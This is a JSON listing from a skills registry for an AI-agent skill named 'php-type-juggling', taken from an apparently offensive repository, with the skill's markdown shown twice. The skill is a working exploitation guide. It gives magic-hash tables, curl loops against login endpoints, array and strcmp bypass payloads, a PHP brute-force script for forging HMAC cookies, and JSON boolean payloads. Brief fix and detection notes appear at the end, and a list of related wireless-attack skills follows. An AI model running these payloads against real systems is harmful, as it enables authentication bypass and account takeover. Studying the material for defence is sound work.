[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7988JKCXCTKPA744JWTJ9R4":3,"skill-same:01M7988JKCXCTKPA744JWTJ9R4":51},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":33,"repositoryHtmlUrl":34,"repositoryHomepageUrl":6,"ownerHtmlUrl":35,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":36,"install":37,"resources":50},"01M7988JKCXCTKPA744JWTJ9R4","php-type-juggling",null,"PHP type juggling and magic hash attacks — exploit loose comparison (==) with 0e-prefixed hash collisions and NULL returns to bypass authentication.","7ShIkI3\u002FDecepticon-x-DarkTriad","7ShIkI3","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F78133376?v=4","01M797CTK5AHH2161YVG93NJ3B","Raphael Pascaud","01M797CTKRQS64R01J7E6TJSEM",3,"Apache-2.0","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fphp-type-juggling\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: php-type-juggling\ndescription: \"PHP type juggling and magic hash attacks — exploit loose comparison (==) with 0e-prefixed hash collisions and NULL returns to bypass authentication.\"\nallowed-tools: Bash Read Write\nmetadata:\n  subdomain: authentication\n  when_to_use: \"php type juggling, loose comparison, magic hash, 0e hash, strcmp bypass, php authentication bypass, hash collision php, php == comparison, md5 collision, sha1 collision\"\n  tags: web-application, php, authentication-bypass, type-juggling, magic-hash, loose-comparison\n  mitre_attack: T1190, T1606.001\n---\n\n# PHP Type Juggling and Magic Hash Attacks\n\n> **Authorized-use only.** Only test systems you own or have explicit written permission to test. Unauthorized exploitation violates computer-fraud laws worldwide.\n\nPHP is a loosely typed language. When comparing values with `==` (loose) rather than `===` (strict), PHP coerces types — a string beginning with `0e` followed only by digits is treated as scientific notation and equals `0`. An attacker who controls one side of a comparison can force equality with predictable hash outputs (\"magic hashes\"), bypass HMAC checks, or exploit NULL returns from type errors.\n\nAffects PHP 5.x–7.x broadly; PHP 8.0+ fixed most numeric-string comparisons but edge cases remain.\n\n## ATT&CK Mapping\n\n| Technique | Notes |\n|-----------|-------|\n| T1190 | Exploit public-facing application — auth bypass via comparison flaw |\n| T1606.001 | Forge web credentials — force authentication with crafted hash values |\n\n## 1. Loose Comparison Cheat Sheet\n\n```\n'0010e2'  == '1e3'      → true   (both evaluate as float 1000)\n'123'     == 123        → true   (string cast to int)\n'123abc'  == 123        → true   (leading numeric string)\n'abc'     == 0          → true   (non-numeric string == 0 in PHP 5\u002F7)\n''        == 0          → true\n0         == false      → true\nfalse     == NULL       → true\nNULL      == ''         → true\nmd5([])   == NULL       → true   (NULL == any string starting with 0e)\nsha1([])  == NULL       → true\n```\n\nPHP 8.0 change: `'abc' == 0` now evaluates to `false`. Check target PHP version before assuming string-zero bypass.\n\n## 2. Magic Hashes — 0e Collisions\n\nWhen a hash output starts with `0e` followed only by digits, PHP's `==` comparison treats it as float `0`. Two such hashes are \"equal\" under `==` regardless of their actual values.\n\n### MD5 Magic Strings\n\n| Input | MD5 Hash |\n|-------|----------|\n| `240610708` | `0e462097431906509019562988736854` |\n| `QNKCDZO` | `0e830400451993494058024219903391` |\n| `0e1137126905` | `0e291659922323405260514745084877` |\n| `0e215962017` | `0e291242476940776845150308577824` |\n| `aabg7XSs` | `0e087386482136013740957780965295` |\n\n### SHA-1 Magic Strings\n\n| Input | SHA-1 Hash |\n|-------|-----------|\n| `10932435112` | `0e07766915004133176347055865026311692244` |\n| `aaroZmOk` | `0e66507019969427134894567494305185566735` |\n| `aaK1STfY` | `0e76658526655756207688271159624026011393` |\n\n### SHA-224 \u002F SHA-256 Magic Strings\n\n| Hash | Input | Output |\n|------|-------|--------|\n| SHA-224 | `10885164793773` | `0e281250946775200129471613219196999537878926740638594636` |\n| SHA-256 | `34250003024812` | `0e46289032038065916139621039085883773413820991920706299695051332` |\n| SHA-256 | `TyNOQHUS` | `0e66298694359207596086558843543959518835691168370379069085300385` |\n\n### Exploitation\n\n```bash\n# Login bypass — submit a magic hash input instead of the real password\n# Server code: if (md5($input) == $stored_hash) { login() }\n# If $stored_hash is also a 0e... hash, any 0e... input collides.\n\n# Try magic inputs against a login endpoint\nfor magic in \"240610708\" \"QNKCDZO\" \"0e1137126905\" \"aabg7XSs\"; do\n  echo -n \"Trying $magic: \"\n  curl -si \"https:\u002F\u002Ftarget.example.com\u002Flogin\" \\\n    -d \"username=admin&password=${magic}\" \\\n    | grep -E \"Location:|Set-Cookie:|Welcome|dashboard\" | head -2\ndone\n```\n\n## 3. NULL Bypass via Array Input\n\n`md5([])` and `sha1([])` in PHP 5\u002F7 return `NULL` with a warning. Under loose comparison, `NULL == ''` is true. If the server compares `md5($input) == ''` or similar:\n\n```bash\n# Send array input to hash functions — triggers NULL return\ncurl -si \"https:\u002F\u002Ftarget.example.com\u002Flogin\" \\\n  -d \"username=admin&password[]=\" \\\n  | grep -E \"Location:|Set-Cookie:|error\"\n\n# POST with array notation\ncurl -si \"https:\u002F\u002Ftarget.example.com\u002Fverify\" \\\n  -H \"Content-Type: application\u002Fx-www-form-urlencoded\" \\\n  -d \"hash[]=&user=admin\" \\\n  | grep -i \"success\\|error\\|redirect\"\n```\n\n## 4. strcmp() Return Value Bypass\n\n`strcmp()` returns `0` (equal) on success, non-zero otherwise. Under loose comparison, `strcmp($input, $secret) == 0` can be bypassed by passing an array (returns NULL, and `NULL == 0` is true in PHP 5\u002F7):\n\n```bash\n# Bypass strcmp-based password check\n# Server: if (strcmp($_POST['pass'], $secret) == 0) { ... }\ncurl -si \"https:\u002F\u002Ftarget.example.com\u002Flogin\" \\\n  -d \"username=admin&pass[]=\" \\\n  | grep -iE \"success|welcome|redirect|Location\"\n```\n\n## 5. HMAC Brute-Force for 0e Collision (Magic HMAC)\n\nWhen a cookie HMAC is verified with loose comparison against `\"0\"`, an attacker brute-forces an expiration timestamp until `hash_hmac('md5', payload, key)` produces a `0e...` string — which equals `\"0\"` under `==`.\n\nThis works when the key is empty or known (e.g., leaked via `.env`).\n\n```bash\n# PHP script to find a magic HMAC timestamp (empty key example)\n# Run: php find_magic_hmac.php\ncat > \u002Ftmp\u002Ffind_magic_hmac.php \u003C\u003C 'EOF'\n\u003C?php\n$username = 'admin';\n$key = '';  \u002F\u002F replace with known key or empty string leak\nfor ($i = 1424869663; $i \u003C 1835970773; $i++) {\n    $out = hash_hmac('md5', $username . '|' . $i, $key);\n    if (str_starts_with($out, '0e') && ctype_digit(substr($out, 2))) {\n        echo \"Found: expiration=$i hash=$out\\n\";\n        break;\n    }\n}\nEOF\nphp \u002Ftmp\u002Ffind_magic_hmac.php\n\n# Then craft the cookie with hmac=0 and the found expiration\n# cookie: username=admin; expiration=\u003Cfound>; hmac=0\n```\n\n## 6. Type Juggling in JSON APIs\n\nJSON deserialization can also introduce juggling issues when PHP converts JSON types to PHP types before comparison:\n\n```bash\n# Send integer 0 instead of string \"false\"\u002F\"no\"\ncurl -si \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fverify\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"token\": 0, \"user\": \"admin\"}' \\\n  | grep -iE \"success|error|200\"\n\n# Send true to bypass boolean checks\ncurl -si \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fverify\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"admin\": true, \"role\": \"admin\"}' \\\n  | grep -iE \"success|error|200\"\n```\n\n## 7. Identify Vulnerable PHP Code Patterns\n\n```bash\n# Grep the target's source (if accessible — e.g., leaked backup, open source app)\ngrep -rn '==[[:space:]]*\\(md5\\|sha1\\|hash\\|strcmp\\|password_verify\\)' \u002Fvar\u002Fwww\u002Fhtml\u002F 2>\u002Fdev\u002Fnull\ngrep -rn 'if.*md5.*==\\|if.*sha1.*==' \u002Fvar\u002Fwww\u002Fhtml\u002F 2>\u002Fdev\u002Fnull\ngrep -rn 'strcmp.*==\\s*0\\|0\\s*==.*strcmp' \u002Fvar\u002Fwww\u002Fhtml\u002F 2>\u002Fdev\u002Fnull\n\n# Look for PHP version to assess 0e \u002F array bypass viability\ncurl -si \"https:\u002F\u002Ftarget.example.com\u002Finfo.php\" | grep -i \"PHP Version\"\ncurl -si \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"x-powered-by\"\n```\n\n## 8. Common Targets in the Wild\n\n| Application Class | Likely Sink |\n|-------------------|-------------|\n| Custom PHP login forms | `md5($pass) == $stored` |\n| Token validation endpoints | `strcmp($token, $secret) == 0` |\n| HMAC cookie verifiers | `hmac($cookie) != $supplied` using `==` |\n| Email unsubscribe links | `md5($email) == $_GET['hash']` |\n| Admin PIN verification | `sha1($pin) == $db_hash` |\n\n## Detection Notes\n\n- PHP 8.0+ resolves `'abc' == 0 → false` and makes `strcmp` throw on array input; PHP 7 and below remain vulnerable\n- Static analysis: `psalm --taint-analysis`, `phpstan` level 8 flag loose comparisons\n- Dynamic: supply `[]` for hash\u002Fstrcmp parameters, observe PHP warning in response or error logs\n- Fix: always use `===` for hash comparisons and `hash_equals()` for timing-safe HMAC checks\n\n## References\n\n- [PayloadsAllTheThings: Type Juggling](https:\u002F\u002Fgithub.com\u002Fswisskyrepo\u002FPayloadsAllTheThings\u002Ftree\u002Fmaster\u002FType%20Juggling)\n- [OWASP: PHP Type Juggling](https:\u002F\u002Fowasp.org\u002Fwww-pdf-archive\u002FPHPMagicTricks-TypeJuggling.pdf)\n- [Magic Hashes — spaze\u002Fhashes](https:\u002F\u002Fgithub.com\u002Fspaze\u002Fhashes)\n- [Super Magic Hashes — Almond Consulting](https:\u002F\u002Foffsec.almond.consulting\u002Fsuper-magic-hash.html)\n","# PHP Type Juggling and Magic Hash Attacks\n\n> **Authorized-use only.** Only test systems you own or have explicit written permission to test. Unauthorized exploitation violates computer-fraud laws worldwide.\n\nPHP is a loosely typed language. When comparing values with `==` (loose) rather than `===` (strict), PHP coerces types — a string beginning with `0e` followed only by digits is treated as scientific notation and equals `0`. An attacker who controls one side of a comparison can force equality with predictable hash outputs (\"magic hashes\"), bypass HMAC checks, or exploit NULL returns from type errors.\n\nAffects PHP 5.x–7.x broadly; PHP 8.0+ fixed most numeric-string comparisons but edge cases remain.\n\n## ATT&CK Mapping\n\n| Technique | Notes |\n|-----------|-------|\n| T1190 | Exploit public-facing application — auth bypass via comparison flaw |\n| T1606.001 | Forge web credentials — force authentication with crafted hash values |\n\n## 1. Loose Comparison Cheat Sheet\n\n```\n'0010e2'  == '1e3'      → true   (both evaluate as float 1000)\n'123'     == 123        → true   (string cast to int)\n'123abc'  == 123        → true   (leading numeric string)\n'abc'     == 0          → true   (non-numeric string == 0 in PHP 5\u002F7)\n''        == 0          → true\n0         == false      → true\nfalse     == NULL       → true\nNULL      == ''         → true\nmd5([])   == NULL       → true   (NULL == any string starting with 0e)\nsha1([])  == NULL       → true\n```\n\nPHP 8.0 change: `'abc' == 0` now evaluates to `false`. Check target PHP version before assuming string-zero bypass.\n\n## 2. Magic Hashes — 0e Collisions\n\nWhen a hash output starts with `0e` followed only by digits, PHP's `==` comparison treats it as float `0`. Two such hashes are \"equal\" under `==` regardless of their actual values.\n\n### MD5 Magic Strings\n\n| Input | MD5 Hash |\n|-------|----------|\n| `240610708` | `0e462097431906509019562988736854` |\n| `QNKCDZO` | `0e830400451993494058024219903391` |\n| `0e1137126905` | `0e291659922323405260514745084877` |\n| `0e215962017` | `0e291242476940776845150308577824` |\n| `aabg7XSs` | `0e087386482136013740957780965295` |\n\n### SHA-1 Magic Strings\n\n| Input | SHA-1 Hash |\n|-------|-----------|\n| `10932435112` | `0e07766915004133176347055865026311692244` |\n| `aaroZmOk` | `0e66507019969427134894567494305185566735` |\n| `aaK1STfY` | `0e76658526655756207688271159624026011393` |\n\n### SHA-224 \u002F SHA-256 Magic Strings\n\n| Hash | Input | Output |\n|------|-------|--------|\n| SHA-224 | `10885164793773` | `0e281250946775200129471613219196999537878926740638594636` |\n| SHA-256 | `34250003024812` | `0e46289032038065916139621039085883773413820991920706299695051332` |\n| SHA-256 | `TyNOQHUS` | `0e66298694359207596086558843543959518835691168370379069085300385` |\n\n### Exploitation\n\n```bash\n# Login bypass — submit a magic hash input instead of the real password\n# Server code: if (md5($input) == $stored_hash) { login() }\n# If $stored_hash is also a 0e... hash, any 0e... input collides.\n\n# Try magic inputs against a login endpoint\nfor magic in \"240610708\" \"QNKCDZO\" \"0e1137126905\" \"aabg7XSs\"; do\n  echo -n \"Trying $magic: \"\n  curl -si \"https:\u002F\u002Ftarget.example.com\u002Flogin\" \\\n    -d \"username=admin&password=${magic}\" \\\n    | grep -E \"Location:|Set-Cookie:|Welcome|dashboard\" | head -2\ndone\n```\n\n## 3. NULL Bypass via Array Input\n\n`md5([])` and `sha1([])` in PHP 5\u002F7 return `NULL` with a warning. Under loose comparison, `NULL == ''` is true. If the server compares `md5($input) == ''` or similar:\n\n```bash\n# Send array input to hash functions — triggers NULL return\ncurl -si \"https:\u002F\u002Ftarget.example.com\u002Flogin\" \\\n  -d \"username=admin&password[]=\" \\\n  | grep -E \"Location:|Set-Cookie:|error\"\n\n# POST with array notation\ncurl -si \"https:\u002F\u002Ftarget.example.com\u002Fverify\" \\\n  -H \"Content-Type: application\u002Fx-www-form-urlencoded\" \\\n  -d \"hash[]=&user=admin\" \\\n  | grep -i \"success\\|error\\|redirect\"\n```\n\n## 4. strcmp() Return Value Bypass\n\n`strcmp()` returns `0` (equal) on success, non-zero otherwise. Under loose comparison, `strcmp($input, $secret) == 0` can be bypassed by passing an array (returns NULL, and `NULL == 0` is true in PHP 5\u002F7):\n\n```bash\n# Bypass strcmp-based password check\n# Server: if (strcmp($_POST['pass'], $secret) == 0) { ... }\ncurl -si \"https:\u002F\u002Ftarget.example.com\u002Flogin\" \\\n  -d \"username=admin&pass[]=\" \\\n  | grep -iE \"success|welcome|redirect|Location\"\n```\n\n## 5. HMAC Brute-Force for 0e Collision (Magic HMAC)\n\nWhen a cookie HMAC is verified with loose comparison against `\"0\"`, an attacker brute-forces an expiration timestamp until `hash_hmac('md5', payload, key)` produces a `0e...` string — which equals `\"0\"` under `==`.\n\nThis works when the key is empty or known (e.g., leaked via `.env`).\n\n```bash\n# PHP script to find a magic HMAC timestamp (empty key example)\n# Run: php find_magic_hmac.php\ncat > \u002Ftmp\u002Ffind_magic_hmac.php \u003C\u003C 'EOF'\n\u003C?php\n$username = 'admin';\n$key = '';  \u002F\u002F replace with known key or empty string leak\nfor ($i = 1424869663; $i \u003C 1835970773; $i++) {\n    $out = hash_hmac('md5', $username . '|' . $i, $key);\n    if (str_starts_with($out, '0e') && ctype_digit(substr($out, 2))) {\n        echo \"Found: expiration=$i hash=$out\\n\";\n        break;\n    }\n}\nEOF\nphp \u002Ftmp\u002Ffind_magic_hmac.php\n\n# Then craft the cookie with hmac=0 and the found expiration\n# cookie: username=admin; expiration=\u003Cfound>; hmac=0\n```\n\n## 6. Type Juggling in JSON APIs\n\nJSON deserialization can also introduce juggling issues when PHP converts JSON types to PHP types before comparison:\n\n```bash\n# Send integer 0 instead of string \"false\"\u002F\"no\"\ncurl -si \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fverify\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"token\": 0, \"user\": \"admin\"}' \\\n  | grep -iE \"success|error|200\"\n\n# Send true to bypass boolean checks\ncurl -si \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fverify\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"admin\": true, \"role\": \"admin\"}' \\\n  | grep -iE \"success|error|200\"\n```\n\n## 7. Identify Vulnerable PHP Code Patterns\n\n```bash\n# Grep the target's source (if accessible — e.g., leaked backup, open source app)\ngrep -rn '==[[:space:]]*\\(md5\\|sha1\\|hash\\|strcmp\\|password_verify\\)' \u002Fvar\u002Fwww\u002Fhtml\u002F 2>\u002Fdev\u002Fnull\ngrep -rn 'if.*md5.*==\\|if.*sha1.*==' \u002Fvar\u002Fwww\u002Fhtml\u002F 2>\u002Fdev\u002Fnull\ngrep -rn 'strcmp.*==\\s*0\\|0\\s*==.*strcmp' \u002Fvar\u002Fwww\u002Fhtml\u002F 2>\u002Fdev\u002Fnull\n\n# Look for PHP version to assess 0e \u002F array bypass viability\ncurl -si \"https:\u002F\u002Ftarget.example.com\u002Finfo.php\" | grep -i \"PHP Version\"\ncurl -si \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"x-powered-by\"\n```\n\n## 8. Common Targets in the Wild\n\n| Application Class | Likely Sink |\n|-------------------|-------------|\n| Custom PHP login forms | `md5($pass) == $stored` |\n| Token validation endpoints | `strcmp($token, $secret) == 0` |\n| HMAC cookie verifiers | `hmac($cookie) != $supplied` using `==` |\n| Email unsubscribe links | `md5($email) == $_GET['hash']` |\n| Admin PIN verification | `sha1($pin) == $db_hash` |\n\n## Detection Notes\n\n- PHP 8.0+ resolves `'abc' == 0 → false` and makes `strcmp` throw on array input; PHP 7 and below remain vulnerable\n- Static analysis: `psalm --taint-analysis`, `phpstan` level 8 flag loose comparisons\n- Dynamic: supply `[]` for hash\u002Fstrcmp parameters, observe PHP warning in response or error logs\n- Fix: always use `===` for hash comparisons and `hash_equals()` for timing-safe HMAC checks\n\n## References\n\n- [PayloadsAllTheThings: Type Juggling](https:\u002F\u002Fgithub.com\u002Fswisskyrepo\u002FPayloadsAllTheThings\u002Ftree\u002Fmaster\u002FType%20Juggling)\n- [OWASP: PHP Type Juggling](https:\u002F\u002Fowasp.org\u002Fwww-pdf-archive\u002FPHPMagicTricks-TypeJuggling.pdf)\n- [Magic Hashes — spaze\u002Fhashes](https:\u002F\u002Fgithub.com\u002Fspaze\u002Fhashes)\n- [Super Magic Hashes — Almond Consulting](https:\u002F\u002Foffsec.almond.consulting\u002Fsuper-magic-hash.html)\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"web-application, php, authentication-bypass, type-juggling, magic-hash, loose-comparison","authentication","php type juggling, loose comparison, magic hash, 0e hash, strcmp bypass, php authentication bypass, hash collision php, php == comparison, md5 collision, sha1 collision","T1190, T1606.001","Bash Read Write","main","42b918525fb79065e730da3da997bffb33fcd414","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fphp-type-juggling",0,"https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad","https:\u002F\u002Fgithub.com\u002F7ShIkI3","2026-07-22 19:02:27",{"source":8,"skillName":5,"commands":38,"prompt":48,"zipAvailable":49},[39,42,45],{"tool":40,"command":41},"npx","npx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill php-type-juggling",{"tool":43,"command":44},"bunx","bunx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill php-type-juggling",{"tool":46,"command":47},"pnpm","pnpm dlx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill php-type-juggling","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fphp-type-juggling\u002FSKILL.md",true,[],[52,59,66,73,80,87],{"skillNo":53,"name":54,"nameZh":6,"description":55,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":56,"categories":57,"keywords":58,"publishedAt":19},"01M798TNHEBA4Y67TJJ7W0KBDD","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":60,"name":61,"nameZh":6,"description":62,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":63,"categories":64,"keywords":65,"publishedAt":19},"01M798TH79VR8XM7AAMG0ZKSXX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":67,"name":68,"nameZh":6,"description":69,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":70,"categories":71,"keywords":72,"publishedAt":19},"01M798TD0E10ZHQN5X362M4HG9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":74,"name":75,"nameZh":6,"description":76,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":77,"categories":78,"keywords":79,"publishedAt":19},"01M798T7HFR3NB9WJTK1FESVF9","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":81,"name":82,"nameZh":6,"description":83,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":84,"categories":85,"keywords":86,"publishedAt":19},"01M798T38B4SV0T87VQK56KPHC","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":88,"name":89,"nameZh":6,"description":90,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":91,"categories":92,"keywords":93,"publishedAt":19},"01M798SXTNF0RP1DXKQEWFVQ9H","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]